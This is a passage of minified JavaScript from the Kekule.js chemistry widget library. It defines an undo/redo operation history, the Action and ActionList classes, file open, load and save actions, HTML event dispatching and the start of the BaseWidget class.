t=this.getOperations(),i=this.getCurrIndex();i<t.length&&t.splice(i+1,t.length-i-1),t.push(e),this.setCurrIndex(t.length-1),this.checkCapacity(),this.invokeEvent("push",{operation:e,currOperIndex:this.getCurrIndex()}),this.invokeEvent("operChange")},pop:function(){var e,t=this.getCurrIndex();return this.canPop()?(e=this.getOperations()[t],this.setCurrIndex(--t),this.invokeEvent("pop",{operation:e,currOperIndex:this.getCurrIndex()}),this.invokeEvent("operChange")):e=null,e},canPop:function(){return this.getCurrIndex()>=0&&!!this.getOperations().length},unpop:function(){var e,t=this.getCurrIndex();this.getOperations();return this.canUnpop()?(this.setCurrIndex(++t),e=this.getOperations()[t]):e=null,e},canUnpop:function(){return this.getCurrIndex()<this.getOperations().length-1},replaceOperation:function(e,t){var i=this.getOperations(),n=i.lastIndexOf(e);return n>=0?(console.log("replace operation",n===i.length-1),i.splice(n,1,t)):null},undo:function(){var e=this.pop();return e&&e.isReversible()&&e.reverse(),this.invokeEvent("undo",{operation:e,currOperIndex:this.getCurrIndex()}),this.invokeEvent("operChange"),e},undoAll:function(){for(;this.canUndo;)this.undo()},canUndo:function(){return this.canPop()},redo:function(){var e=this.unpop();return e&&e.execute(),this.invokeEvent("redo",{operation:e,currOperIndex:this.getCurrIndex()}),this.invokeEvent("operChange"),e},canRedo:function(){return this.canUnpop()}}),function(){Kekule.Action=Class.create(ObjectEx,{CLASS_NAME:"Kekule.Action",HTML_CLASSNAME:null,initialize:function(){this.tryApplySuper("initialize"),this.setPropStoreFieldValue("linkedWidgets",[]),this.setPropStoreFieldValue("enabled",!0),this.setPropStoreFieldValue("visible",!0),this.setPropStoreFieldValue("displayed",!0),this.setPropStoreFieldValue("htmlClassName",this.getInitialHtmlClassName()),this.setBubbleEvent(!0),this.reactWidgetExecuteBind=this.reactWidgetExecute.bind(this)},finalize:function(){var e=this.getOwner();e&&e.actionRemoved&&e.actionRemoved(this),this.unlinkAllWidgets(),this.setPropStoreFieldValue("linkedWidgets",[]),this._lastHtmlEvent=null,this.tryApplySuper("finalize")},initProperties:function(){this.defineProp("enabled",{dataType:DataType.BOOL,setter:function(e){e!==this.getEnabled()&&(this.setPropStoreFieldValue("enabled",e),this.updateAllWidgetsProp("enabled",e))}}),this.defineProp("visible",{dataType:DataType.BOOL,setter:function(e){e!==this.getVisible()&&(this.setPropStoreFieldValue("visible",e),this.updateAllWidgetsProp("visible",e))}}),this.defineProp("displayed",{dataType:DataType.BOOL,setter:function(e){e!==this.getDisplayed()&&(this.setPropStoreFieldValue("displayed",e),this.updateAllWidgetsProp("displayed",e))}}),this.defineProp("checked",{dataType:DataType.BOOL,setter:function(e){e!==this.getChecked()&&(this.setPropStoreFieldValue("checked",e),this.updateAllWidgetsProp("checked",e),this.checkedChanged())}}),this.defineProp("checkGroup",{dataType:DataType.STRING}),this.defineProp("hint",{dataType:DataType.STRING,setter:function(e){e&&e!==this.getHint()&&(this.setPropStoreFieldValue("hint",e),this.updateAllWidgetsProp("hint",e))}}),this.defineProp("text",{dataType:DataType.STRING,setter:function(e){e&&e!==this.getText()&&(this.setPropStoreFieldValue("text",e),this.updateAllWidgetsProp("text",e))}}),this.defineProp("shortcutKeys",{dataType:DataType.ARRAY}),this.defineProp("shortcutKey",{dataType:DataType.STRING,serializable:!1,getter:function(){return this.getShortCutKeys()[0]},setter:function(e){this.setShortcutKeys(Kekule.ArrayUtils.toArray(e))}}),this.defineProp("htmlClassName",{dataType:DataType.STRING,setter:function(e){var t=this.getHtmlClassName();this.setPropStoreFieldValue("htmlClassName",e),this.updateAllWidgetClassName(e,t)}}),this.defineProp("owner",{dataType:DataType.OBJECT,serializable:!1,setter:null}),this.defineProp("linkedWidgets",{dataType:DataType.ARRAY,serializable:!1,setter:null}),this.defineProp("invoker",{dataType:"Kekule.Widget.BaseWidget",serializable:!1,setter:null})},getHigherLevelObj:function(){return this.getOwner()},invokeEvent:function(e,t){t||(t={}),t.invoker||(t.invoker=this.getInvoker()),this.tryApplySuper("invokeEvent",[e,t])},getInitialHtmlClassName:function(){return this.HTML_CLASSNAME||null},getActionList:function(){var e=this.getOwner();return e instanceof Kekule.ActionList?e:null},checkedChanged:function(){var e=this.getActionList();e&&e.actionCheckedChanged(this)},linkWidget:function(e){var t=this.getLinkedWidgets();if(t.indexOf(e)<0){var i=this.getText();i&&this.updateWidgetProp(e,"text",i);var n=this.getHint();return n&&this.updateWidgetProp(e,"hint",n),this.updateWidgetProp(e,"enabled",this.getEnabled()),this.updateWidgetProp(e,"displayed",this.getDisplayed()),this.updateWidgetProp(e,"visible",this.getVisible()),this.updateWidgetProp(e,"checked",this.getChecked()),this.updateWidgetProp(e,"shortcutKeys",this.getShortcutKeys()),this.updateWidgetClassName(e,this.getHtmlClassName(),null),e.addEventListener("execute",this.reactWidgetExecuteBind),t.push(e),this}},unlinkWidget:function(e){var t=this.getLinkedWidgets(),i=t.indexOf(e);i>=0&&(this.updateWidgetClassName(e,null,this.getHtmlClassName()),e.removeEventListener("execute",this.reactWidgetExecuteBind),t.splice(i,1))},unlinkAllWidgets:function(){for(var e=this.getLinkedWidgets(),t=e.length-1;t>=0;--t)this.unlinkWidget(e[t])},reactWidgetExecute:function(e){return this.execute(e.target,e.htmlEvent)},execute:function(e,t){if(!t||t!==this._lastHtmlEvent||t.__$periodicalExecuting$__){var i=this.getChecked();this.getCheckGroup()&&i||(this.doExecute(e,t),this.getCheckGroup()&&this.setChecked(!0)),this.setPropStoreFieldValue("invoker",e),this._lastHtmlEvent=t,this.invokeEvent("execute",{htmlEvent:t,invoker:e})}return this},doExecute:function(e,t){},update:function(){return this.doUpdate(),this},doUpdate:function(){},updateAllWidgetsProp:function(e,t){for(var i=this.getLinkedWidgets(),n=0,s=i.length;n<s;++n){var r=i[n];this.updateWidgetProp(r,e,t)}},updateWidgetProp:function(e,t,i){e.hasProperty(t)&&e.setPropValue(t,i)},updateWidgetClassName:function(e,t,i){i&&e.removeClassName(i,!0),t&&e.addClassName(t,!0)},updateAllWidgetClassName:function(e,t){for(var i=this.getLinkedWidgets(),n=0,s=i.length;n<s;++n){var r=i[n];this.updateWidgetClassName(r,e,t)}}}),Kekule.ActionList=Class.create(ObjectEx,{CLASS_NAME:"Kekule.ActionList",initialize:function(){this.tryApplySuper("initialize"),this.setPropStoreFieldValue("actions",[]),this.setPropStoreFieldValue("ownActions",!0),this.setPropStoreFieldValue("autoUpdate",!0),this.reactActionExecutedBind=this.reactActionExecuted.bind(this),this.addEventListener("execute",this.reactActionExecutedBind)},finalize:function(){this.removeEventListener("execute",this.reactActionExecutedBind),this.clear(),this.setPropStoreFieldValue("actions",null),this.tryApplySuper("finalize")},initProperties:function(){this.defineProp("actions",{dataType:DataType.ARRAY,serializable:!1,setter:null}),this.defineProp("ownActions",{dataType:DataType.BOOL}),this.defineProp("autoUpdate",{dataType:DataType.BOOL,setter:function(e){this.setPropStoreFieldValue("autoUpdate",e),e&&this.updateAll()}})},hasActionChecked:function(e){return!!this.getCheckedAction(e)},getCheckedAction:function(e){for(var t=this.getActions(),i=0,n=t.length;i<n;++i){var s=t[i];if(s.getCheckGroup()===e&&s.getChecked())return s}return null},actionAdded:function(e){if(this.getOwnActions()){var t=e.getOwner();t&&t.actionRemoved&&t.actionRemoved(e),e.setPropStoreFieldValue("owner",this)}Kekule.ArrayUtils.pushUnique(this.getActions(),e),e.update()},actionRemoved:function(e){Kekule.ArrayUtils.remove(this.getActions(),e),e.setPropStoreFieldValue("owner",null)},actionCheckedChanged:function(e){if(e&&e.getChecked()){var t=e.getCheckGroup();if(t)for(var i=this.getActions(),n=0,s=i.length;n<s;++n){var r=i[n];r!==e&&r.getCheckGroup()===t&&r.getChecked()&&r.setChecked(!1)}}},reactActionExecuted:function(e){e.target instanceof Kekule.Action&&(this.invokeEvent("execute",{action:e.target}),this.getAutoUpdate()&&this.updateAll())},getActionCount:function(){return this.getActions().length},getActionLength:function(){return this.getActions().length},getActionAt:function(e){return this.getActions()[e]},indexOfAction:function(e){return this.getActions().indexOf(e)},setActionIndex:function(e,t){var i=this.getActions();if(i){var n=i.indexOf(e);n>=0&&n!==t&&(i.splice(n,1),i.splice(t,0,e))}return this},hasAction:function(e){return this.indexOfAction(e)>=0},add:function(e){return this.actionAdded(e),this},remove:function(e){return this.actionRemoved(e),this.getOwnActions()&&e.finalize(),this},removeAt:function(e){var t=this.getActions(),i=t[e];return i&&(Kekule.ArrayUtils.removeAt(t,e),this.actionRemoved(i)),this},clear:function(){for(var e=this.getActions(),t=e.length-1;t>=0;--t)this.actionRemoved(e[t]);return this.setPropStoreFieldValue("actions",[]),this},updateAll:function(){for(var e=this.getActions(),t=0,i=e.length;t<i;++t)e[t].update();return this}}),Kekule.ActionFileOpen=Class.create(Kekule.Action,{CLASS_NAME:"Kekule.ChemWidget.ActionFileOpen",initialize:function(){this.tryApplySuper("initialize")},initProperties:function(){this.defineProp("filters",{dataType:DataType.ARRAY})},doUpdate:function(){this.tryApplySuper("doUpdate"),this.setEnabled(this.getEnabled()&&Kekule.NativeServices.showFilePickerDialog)},doExecute:function(e){var t=e.getElement().ownerDocument,i=this,n=this.getInvoker();this.openFilePicker(t,function(e,t,s){e&&i.fileOpened(s,n)})},openFilePicker:function(e,t){return Kekule.NativeServices.showFilePickerDialog(e,t,{mode:"open",filters:this.getFilters()})},fileOpened:function(e,t){this.doFileOpened(e,t),this.invokeEvent("open",{files:e,file:e[0]})},doFileOpened:function(e,t){}}),Kekule.ActionLoadFileData=Class.create(Kekule.Action,{CLASS_NAME:"Kekule.ChemWidget.ActionLoadFileData",initialize:function(){this.tryApplySuper("initialize")},initProperties:function(){this.defineProp("filters",{dataType:DataType.ARRAY}),this.defineProp("binaryDetector",{dataType:DataType.FUNCTION,serializable:!1})},doUpdate:function(){this.tryApplySuper("doUpdate"),this.setEnabled(this.getEnabled()&&Kekule.NativeServices.canLoadFileData())},doExecute:function(e){var t=e.getElement().ownerDocument,i=this,n=this.getInvoker();this.loadFileData(t,function(e,t,s){i.dataLoaded(t,s,!!e,n)})},loadFileData:function(e,t){return Kekule.NativeServices.loadFileData(e,t,{filters:this.getFilters(),binaryDetector:this.getBinaryDetector()})},reactFileLoad:function(e,t,i){this.dataLoaded(t,i,!!e)},dataLoaded:function(e,t,i,n){this.doDataLoaded(e,t,i,n),this.invokeEvent("load",{fileName:t,data:e,success:i})},doDataLoaded:function(e,t,i,n){}}),Kekule.ActionFileSave=Class.create(Kekule.Action,{CLASS_NAME:"Kekule.ChemWidget.ActionFileSave",initialize:function(e,t){this.tryApplySuper("initialize"),e&&this.setData(e),t&&this.setFileName(t)},initProperties:function(){this.defineProp("data",{dataType:DataType.STRING,serializable:!1}),this.defineProp("fileName",{dataType:DataType.STRING,serializable:!1}),this.defineProp("filters",{dataType:DataType.ARRAY})},doUpdate:function(){this.tryApplySuper("doUpdate"),this.setEnabled(this.getEnabled()&&Kekule.NativeServices.canSaveFileData())},doExecute:function(e){var t;e?t=e.getElement().ownerDocument:t=document;Kekule.NativeServices.saveFileData(t,this.getData(),null,{initialFileName:this.getFileName(),filters:this.getFilters()})}}),Kekule.ActionManager={_namedActionMap:null,_getNamedActionMap:function(t){var i=e._namedActionMap;return!i&&t&&(i=new Kekule.MapEx,e._namedActionMap=i),i},getRegisteredActionsOfClass:function(t,i){var n=e._getNamedActionMap(i);if(n){var s=n.get(t);return!s&&i&&(s={},n.set(t,s)),s}return null},registerNamedActionClass:function(t,i,n){e.getRegisteredActionsOfClass(n,!0)[t]=i},unregisterNamedActionClass:function(t,i){var n=e.getRegisteredActionsOfClass(i,!1);n&&n[t]&&delete n[t]},getActionClassOfName:function(t,i,n){var s=ClassEx.isClass(i)?i:i.getClass&&i.getClass();if(!s)return null;var r=e.getRegisteredActionsOfClass(s,!1),a=r&&r[t];if(!a&&n){var o=ClassEx.getSuperClass(s);a=o?e.getActionClassOfName(t,o,n):null}return a}};var e=Kekule.ActionManager}(),function(){"use strict";Kekule.Widget={DEF_EVENT_HANDLER_PREFIX:"react_",getEventHandleFuncName:function(e){return Kekule.Widget.DEF_EVENT_HANDLER_PREFIX+e},getTouchGestureHandleFuncName:function(e){return Kekule.Widget.DEF_EVENT_HANDLER_PREFIX+e}}}(),function(){"use strict";Kekule.DataBingItem=Class.create(ObjectEx,{CLASS_NAME:"Kekule.DataBingItem",initialize:function(e,t,i,n){this.tryApplySuper("initialize"),this.setSource(e),this.setSourceName(t),this.setTarget(i),this.setTargetName(n)},initProperties:function(){this.defineProp("source",{dataType:DataType.OBJECTEX,serializable:!1}),this.defineProp("sourceName",{dataType:DataType.STRING,serializable:!1}),this.defineProp("target",{dataType:DataType.OBJECTEX,serializable:!1}),this.defineProp("targetName",{dataType:DataType.STRING,serializable:!1})},updateData:function(e){var t=this.getSource(),i=this.getTarget(),n=this.getSourceName(),s=this.getTargetName();if(t&&i&&n&&s)if(e){var r=i.getDataByBindingName(s);t.setDataByBindingName(n,r)}else{r=t.getDataByBindingName(n);i.setDataByBindingName(s,r)}}}),ClassEx.extend(ObjectEx,{getDataByBindingName:function(e){return this.hasProperty(e)?this.getPropValue(e):DataType.isFunctionValue(this[e])?this[e]():void 0},setDataByBindingName:function(e,t){var i=t,n=this.getPropInfo(e);if(n){var s=n.dataType,r=DataType.getType(t);s!==r&&r===DataType.STRING&&(i=DataType.StringUtils.deserializeValue(t))}return this.setPropValue(e,i),this},createDataBinding:function(e,t,i){var n=new Kekule.DataBingItem(e,t,this,i);return this.getDataBindings(!0).push(n),n},removeDataBinding:function(e){Kekule.ArrayUtils.remove(this.getDataBindings(),e)},updateBindingData:function(e){var t=this.getDataBindings();if(t&&t.length)for(var i=0,n=t.length;i<n;++i)t[i].updateData(e)}}),ClassEx.defineProp(ObjectEx,"dataBindings",{dataType:DataType.ARRAY,scope:Class.PropertyScope.PRIVATE,getter:function(e){var t=this.getPropStoreFieldValue("dataBindings");return!t&&e&&(t=[],this.setPropStoreFieldValue("dataBindings",t)),t}})}(),function(){"use strict";Kekule.Widget.UiEvents=["click","dblclick","mousedown","mousemove","mouseout","mouseover","mouseup","keydown","keyup","keypress","touchstart","touchend","touchcancel","touchmove","pointerdown","pointermove","pointerout","pointerover","pointerup","drag","dragend","dragenter","dragexit","dragleave","dragover","dragstart","drop"],Kekule.Widget.UiLocalEvents=["blur","focus","mouseenter","mouseleave","mousewheel","pointerenter","pointerleave"],Kekule.Widget.TouchGestures=["hold","tap","doubletap","swipe","swipeup","swipedown","swipeleft","swiperight","transform","transformstart","transformend","rotate","rotatestart","rotatemove","rotateend","rotatecancel","pinch","pinchstart","pinchmove","pinchend","pinchcancel","pinchin","pinchout","pan","panstart","panmove","panend","pancancel","panleft","panright","panup","pandown"];var e=Kekule.ArrayUtils;Kekule.Widget.HtmlEventMatcher=Class.create(ObjectEx,{CLASS_NAME:"Kekule.Widget.HtmlEventMatcher",initialize:function(e){this.tryApplySuper("initialize",[]),this.setEventParams(e||{})},initProperties:function(){this.defineProp("eventParams",{dataType:DataType.HASH}),this._defineEventParamProp("eventType",DataType.STRING,"type")},doFinalize:function(){this.tryApplySuper("doFinalize")},_defineEventParamProp:function(e,t,i){var n=e||i;return this.defineProp(e,{dataType:t,serializable:!1,getter:function(){return this.getEventParams()[n]},setter:function(e){this.getEventParams()[n]=e}})},match:function(e){return(e.getType&&e.getType()||e.type)===this.getEventType()},execOnMatch:function(e,t){var i=this.match(e);return i&&t&&(i=this.doExecTarget(e,t)),i},doExecTarget:function(e,t){var i;return i=DataType.isFunctionValue(t)?t.apply(null,[e,this]):!(!t.execute||!DataType.isFunctionValue(t.execute))&&(DataType.isObjectExValue(t)?t instanceof Kekule.Widget.BaseWidget?t.execute(e):t instanceof Kekule.Action?t.execute(this,e):t.execute(e,this):t.execute(e,this)),Kekule.ObjUtils.isUnset(i)&&(i=!0),i}}),Kekule.Widget.HtmlEventResponser=Class.create(ObjectEx,{CLASS_NAME:"Kekule.Widget.HtmlEventResponser",initialize:function(e,t,i){this.setPropStoreFieldValue("eventMatcher",e),this.setPropStoreFieldValue("execTarget",t),this.tryApplySuper("initialize",[]),this.setExclusive(i||!1)},initProperties:function(){this._defineMatcherRelatedProp("eventParams",{dataType:DataType.HASH}),this._defineMatcherRelatedProp("eventType",DataType.STRING,"type"),this.defineProp("execTarget",{dataType:DataType.VARIANT,serializable:!1}),this.defineProp("exclusive",{dataType:DataType.BOOL,serializable:!1}),this.defineProp("eventMatcher",{dataType:"Kekule.Widget.HtmlEventMatcher",serializable:!1,setter:null,scope:Class.PropertyScope.PRIVATE})},doFinalize:function(){this.setExecTarget(null);var e=this.getEventMatcher();e&&e.finalize(),this.tryApplySuper("doFinalize")},_defineMatcherRelatedProp:function(e,t,i){var n=e||i;return this.defineProp(e,{dataType:t,getter:function(){return this.getEventMatcher().getPropValue(n)},setter:function(e){this.getEventMatcher().setPropValue(n,e)}})},reactTo:function(e){var t=!1,i=this.getEventMatcher();if(i&&(t=i.match(e))){var n=this.getExecTarget();n&&(t=i.doExecTarget(e,n)),t=t&&this.getExclusive(),this.invokeEvent("execute",{htmlEvent:e,execTarget:n})}return t}}),Kekule.Widget.HtmlEventDispatcher=Class.create(ObjectEx,{CLASS_NAME:"Kekule.Widget.HtmlEventDispatcher",initialize:function(){this.setPropStoreFieldValue("responsers",{}),this.tryApplySuper("initialize",[])},initProperties:function(){this.defineProp("responsers",{dataType:DataType.HASH,scope:Class.PropertyScope.PRIVATE,serializable:!1,setter:null})},doFinalize:function(){for(var e=this.getResponsers(),t=Object.getOwnPropertyNames(e),i=0,n=t.length;i<n;++i){var s=e[t[i]];if(s&&s.length)for(var r=s.length-1;r>=0;--r)s[r].finalize()}this.tryApplySuper("doFinalize")},getResponsersForType:function(e,t){var i=this.getResponsers()[e];return i||(i=[],this.getResponsers()[e]=i),i},registerResponser:function(t){var i=t.getEventType();if(i){var n=this.getResponsersForType(i,!0);e.pushUnique(n,t)}},unregisterResponser:function(e,t){var i=e.getEventType();if(i){var n=this.getResponsersForType(i);if(n&&n.length){var s=n.indexOf(e);s>=0&&(n.splice(s,1),t&&e.finalize())}}},addResponser:function(e,t,i){var n=new Kekule.Widget.HtmlEventResponser(e,t,i);return this.registerResponser(n),n},dispatch:function(e){var t=e.getType&&e.getType()||e.type;if(t){var i=this.getResponsersForType(t);if(i&&i.length)for(var n=i.length-1;n>=0;--n){if(i[n].reactTo(e)||e.cancelBubble)break}}}})}(),function(){var e=Kekule.ArrayUtils,t=Kekule.HtmlElementUtils;Kekule.Widget.HtmlTagNames={CHILD_SLOT_HOLDER:"slot",CHILD_HOLDER:"span"},Kekule.Widget.HtmlNames={CHILD_HOLDER:"children"},Kekule.Widget.HtmlClassNames={BASE:"K-Widget",DYN_CREATED:"K-Dynamic-Created",CHILD_HOLDER:"K-Child-Holder",TOP_LAYER:"K-Top-Layer",ISOLATED_LAYER:"K-Isolated-Layer",NORMAL_BACKGROUND:"K-Normal-Background",NONSELECTABLE:"K-NonSelectable",SELECTABLE:"K-Selectable",STYLE_INHERITED:"K-Style-Inherited",STYLE_UNDEPENDENT:"K-Style-Undependent",STATE_NORMAL:"K-State-Normal",STATE_DISABLED:"K-State-Disabled",STATE_HOVER:"K-State-Hover",STATE_ACTIVE:"K-State-Active",STATE_FOCUSED:"K-State-Focused",STATE_SELECTED:"K-State-Selected",STATE_CURRENT_SELECTED:"K-State-Current-Selected",STATE_CHECKED:"K-State-Checked",STATE_READONLY:"K-State-ReadOnly",SHOW_POPUP:"K-Show-Popup",SHOW_DIALOG:"K-Show-Dialog",SHOW_ACTIVE_MODAL:"K-Show-ActiveModal",SECTION:"K-Section",PART_CONTENT:"K-Content",PART_TEXT_CONTENT:"K-Text-Content",PART_ASSOC_TEXT_CONTENT:"K-Assoc-Text-Content",PART_IMG_CONTENT:"K-Img-Content",PART_GLYPH_CONTENT:"K-Glyph-Content",PART_PRI_GLYPH_CONTENT:"K-Pri-Glyph-Content",PART_ASSOC_GLYPH_CONTENT:"K-Assoc-Glyph-Content",PART_DECORATION_CONTENT:"K-Decoration-Content",PART_ERROR_REPORT:"K-Error-Report",FIRST_CHILD:"K-First-Child",LAST_CHILD:"K-Last-Child",TEXT_NO_WRAP:"K-No-Wrap",LAYOUT_H:"K-Layout-H",LAYOUT_V:"K-Layout-V",LAYOUT_G:"K-Layout-G",CORNER_ALL:"K-Corner-All",CORNER_LEFT:"K-Corner-Left",CORNER_RIGHT:"K-Corner-Right",CORNER_TOP:"K-Corner-Top",CORNER_BOTTOM:"K-Corner-Bottom",CORNER_TL:"K-Corner-TL",CORNER_TR:"K-Corner-TR",CORNER_BL:"K-Corner-BL",CORNER_BR:"K-Corner-BR",CORNER_LEADING:"K-Corner-Leading",CORNER_TAILING:"K-Corner-Tailing",FULLFILL:"K-Fulfill",NOWRAP:"K-No-Wrap",HIDE_TEXT:"K-Text-Hide",HIDE_GLYPH:"K-Glyph-Hide",SHOW_TEXT:"K-Text-Show",SHOW_GLYPH:"K-Glyph-Show",MODAL_BACKGROUND:"K-Modal-Background",DUMB_WIDGET:"K-Dumb-Widget",PLACEHOLDER:"K-PlaceHolder"};var i=Kekule.Widget.HtmlClassNames;Kekule.Widget.StyleMode={UNDEPENDENT:0,INHERITED:1},Kekule.Widget.Layout={HORIZONTAL:1,VERTICAL:2,GRID:4},Kekule.Widget.Position={AUTO:0,TOP:1,LEFT:2,BOTTOM:4,RIGHT:8,TOP_LEFT:3,TOP_RIGHT:9,BOTTOM_LEFT:6,BOTTOM_RIGHT:12},Kekule.Widget.Direction={AUTO:0,LTR:1,TTB:2,RTL:4,BTT:8,isInHorizontal:function(e){var t=Kekule.Widget.Direction;return!!(e&t.LTR||e&t.RTL)},isInVertical:function(e){var t=Kekule.Widget.Direction;return!!(e&t.TTB||e&t.BTT)}},Kekule.Widget.State={NORMAL:0,FOCUSED:1,HOVER:2,ACTIVE:3,DISABLED:-1};var n=Kekule.Widget.State;Kekule.Widget.ShowHideType={DROPDOWN:1,POPUP:2,DIALOG:3,DEFAULT:0},Kekule.Widget.DragDrop={ELEM_INDEX_DATA_TYPE:"application/x-kekule-dragdrop-elem-index"},Kekule.Widget._PointerHoldParams={DURATION_THRESHOLD:1e3,MOVEMENT_THRESHOLD:10};Kekule.Widget.BaseWidget=Class.create(ObjectEx,{CLASS_NAME:"Kekule.Widget.BaseWidget",BINDABLE_TAG_NAMES:null,DEF_PERIODICAL_EXEC_DELAY:500,DEF_PERIODICAL_EXEC_INTERVAL:100,STYLE_RES_FIELD:"__$style_resources__",initialize:function(e,t){this._stateClassName=null,this._isDismissed=!1,this._pendingHtmlClassNames="",this._enableShowHideEvents=!0,this._reactElemAttribMutationBind=this._reactElemAttribMutation.bind(this),this.reactTouchGestureBind=this.reactTouchGesture.bind(this),this.setPropStoreFieldValue("inheritEnabled",!0),this.setPropStoreFieldValue("inheritStatic",!0),this.setPropStoreFieldValue("selfEnabled",!0),this.setPropStoreFieldValue("selfStatic",!1),this.setPropStoreFieldValue("periodicalExecDelay",this.DEF_PERIODICAL_EXEC_DELAY),this.setPropStoreFieldValue("periodicalExecInterval",this.DEF_PERIODICAL_EXEC_INTERVAL),this.setPropStoreFieldValue("useNormalBackground",!0),this.setPropStoreFieldValue("inheritedStyles",[]),this.setPropStoreFieldValue("droppableDataKinds",["string"]),this.setPropStoreFieldValue("htmlEventDispatcher",new Kekule.Widget.HtmlEventDispatcher),this._touchActionNoneTouchStartHandlerBind=this._touchActionNoneTouchStartHandler.bind(this),this.tryApplySuper("initialize"),this.setPropStoreFieldValue("isDumb",!!t),t||(this.reactUiEventBind=this.reactUiEvent.bind(this)),e&&(e instanceof Kekule.Widget.BaseWidget?(this.setDocument(e.getDocument()),this.createElement(),this.setParent(e)):e.documentElement?(this.setDocument(e),this.createElement()):(this.setDocument(e.ownerDocument),this.setElement(e))),this._stateClassName=null,this._layoutClassName=null,this.getLayout()||this.setLayout(Kekule.Widget.Layout.HORIZONTAL),this._periodicalExecBind=this._periodicalExec.bind(this),this.setBubbleEvent(!0),this.setInheritBubbleUiEvents(!0),this.stateChanged();var i=this.getGlobalManager();i&&i.notifyWidgetCreated(this)},initProperties:function(){this.defineProp("isDumb",{dataType:DataType.BOOL,serializable:!1,scope:Class.PropertyScope.PUBLIC,setter:function(e){if(this.getIsDumb()!=e){this.setPropStoreFieldValue("isDumb",e);var t=this.getElement();t&&(e?this.uninstallUiEventHandlers(t):this.installUiEventHandlers(t))}}}),this.defineProp("bubbleUiEvents",{dataType:DataType.BOOL,scope:Class.PropertyScope.PUBLIC}),this.defineProp("inheritBubbleUiEvents",{dataType:DataType.BOOL,scope:Class.PropertyScope.PUBLIC}),this.defineProp("touchAction",{dataType:DataType.STRING,scope:Class.PropertyScope.PUBLIC,setter:function(e){var t=this.getCoreElement();t&&(t.style.touchAction=e,"none"===e?Kekule.X.Event.addListener(t,"touchstart",this._touchActionNoneTouchStartHandlerBind,{passive:!1}):Kekule.X.Event.removeListener(t,"touchstart",this._touchActionNoneTouchStartHandlerBind,{passive:!1}))}}),this.defineProp("parent",{dataType:"Kekule.Widget.BaseWidget",serializable:!1,scope:Class.PropertyScope.PUBLISHED,setter:function(e){var t=this.getParent();t&&t._removeChild(this),e&&e._addChild(this),this.setPropStoreFieldValue("parent",e)}}),this.defineProp("childWidgets",{dataType:DataType.ARRAY,serializable:!1,setter:null,scope:Class.PropertyScope.PUBLIC,getter:function(){var e=this.getPropStoreFieldValue("childWidgets");return e||(e=[],this.setPropStoreFieldValue("childWidgets",e)),e}}),this.defineProp("document",{dataType:DataType.OBJECT,serializable:!1,scope:Class.PropertyScope.PUBLIC}),this.defineProp("element",{dataType:DataType.OBJECT,serializable:!1,scope:Class.PropertyScope.PUBLIC,setter:function(e){var t=this.getElement();e!==t&&(this.setPropStoreFieldValue("element",e),this.elementChanged(e,t))}}),this.defineProp("observeElementAttribChanges",{dataType:DataType.BOOL,setter:function(e){!!e!=!!this.getObserveElementAttribChanges()&&(this.setPropStoreFieldValue("observeElementAttribChanges",e),this.observeElementAttribChangesChanged(!!e))}}),this.defineElemAttribMappingProp("id","id"),this.defineProp("draggable",{dataType:DataType.BOOL,serializable:!1,scope:Class.PropertyScope.PUBLIC,getter:function(){return Kekule.StrUtils.strToBool(this.getElement().getAttribute("draggable")||"")},setter:function(e){this.getElement().setAttribute("draggable",e?"true":"false")}}),this.defineProp("droppable",{dataType:DataType.BOOL,scope:Class.PropertyScope.PUBLIC}),this.defineProp("droppableDataKinds",{dataType:DataType.ARRAY,scope:Class.PropertyScope.PUBLIC}),this.defineProp("fileDroppable",{dataType:DataType.ARRAY,serializable:!1,scope:Class.PropertyScope.PUBLIC,getter:function(){if(!this.getDroppable())return!1;var e=this.getDroppableDataKinds();return!e||e&&e.indexOf&&e.indexOf("file")>=0},setter:function(e){e&&!this.getDroppable()&&this.setDroppable(!0);var t=this.getPropStoreFieldValue("droppableDataKinds");if(t){var i=t.indexOf("file");!e&&i>=0?t.splice(i,1):e&&i<0&&t.push("file")}else e||this.setDroppableDataKinds(["string"])}}),this.defineElemStyleMappingProp("width","width"),this.defineElemStyleMappingProp("height","height"),this.defineProp("offsetParent",{dataType:DataType.OBJECT,serializable:!1,scope:Class.PropertyScope.PUBLIC,getter:function(){return this.getElement().offsetParent},setter:null}),this.defineProp("offsetLeft",{dataType:DataType.INT,serializable:!1,getter:function(){return this.getElement().offsetLeft},setter:null}),this.defineProp("offsetTop",{dataType:DataType.INT,serializable:!1,getter:function(){return this.getElement().offsetTop},setter:null}),this.defineProp("offsetWidth",{dataType:DataType.INT,serializable:!1,getter:function(){return this.getElement().offsetWidth},setter:null}),this.defineProp("offsetHeight",{dataType:DataType.INT,serializable:!1,getter:function(){return this.getElement().offsetHeight},setter:null}),this.defineProp("tabIndex",{dataType:DataType.INT,serializable:!1,scope:Class.PropertyScope.PUBLIC,getter:function(){return this.getElement().tabIndex},setter:function(e){this.getElement().tabIndex=e}}),this.defineProp("innerHTML",{dataType:DataType.STRING,serializable:!1,scope:Class.PropertyScope.PUBLIC,getter:function(){return this.getElement().innerHTML},setter:function(e){this.getElement().innerHTML=e}}),this.defineProp("style",{dataType:DataType.OBJECT,serializable:!1,scope:Class.PropertyScope.PUBLIC,getter:function(){return this.getElement().style},setter:null}),this.defineProp("cssText",{dataType:DataType.STRING,serializable:!1,scope:Class.PropertyScope.PUBLIC,getter:function(){return this.getElement().style.cssText},setter:function(e){this.getElement().style.cssText=e}}),this.defineProp("htmlClassName",{dataType:DataType.STRING,serializable:!1,scope:Class.PropertyScope.PUBLIC,getter:function(){return this.getElement().className},setter:function(e){this.getElement().className=e}}),this.defineProp("customHtmlClassName",{dataType:DataType.STRING,scope:Class.PropertyScope.PUBLIC,setter:function(e){var i=this.getElement(),n=this.getCustomHtmlClassName();i&&n!==e&&(n&&t.removeClass(i,n),e&&t.addClass(i,e),this.setPropStoreFieldValue("customHtmlClassName",e))}}),this.defineProp("visible",{dataType:DataType.BOOL,serializable:!1,getter:function(){return Kekule.StyleUtils.isVisible(this.getElement())},setter:function(e,t){Kekule.StyleUtils.setVisibility(this.getElement(),e),t||this.widgetShowStateChanged(this.isShown())}}),this.defineProp("displayed",{dataType:DataType.BOOL,serializable:!1,getter:function(){return 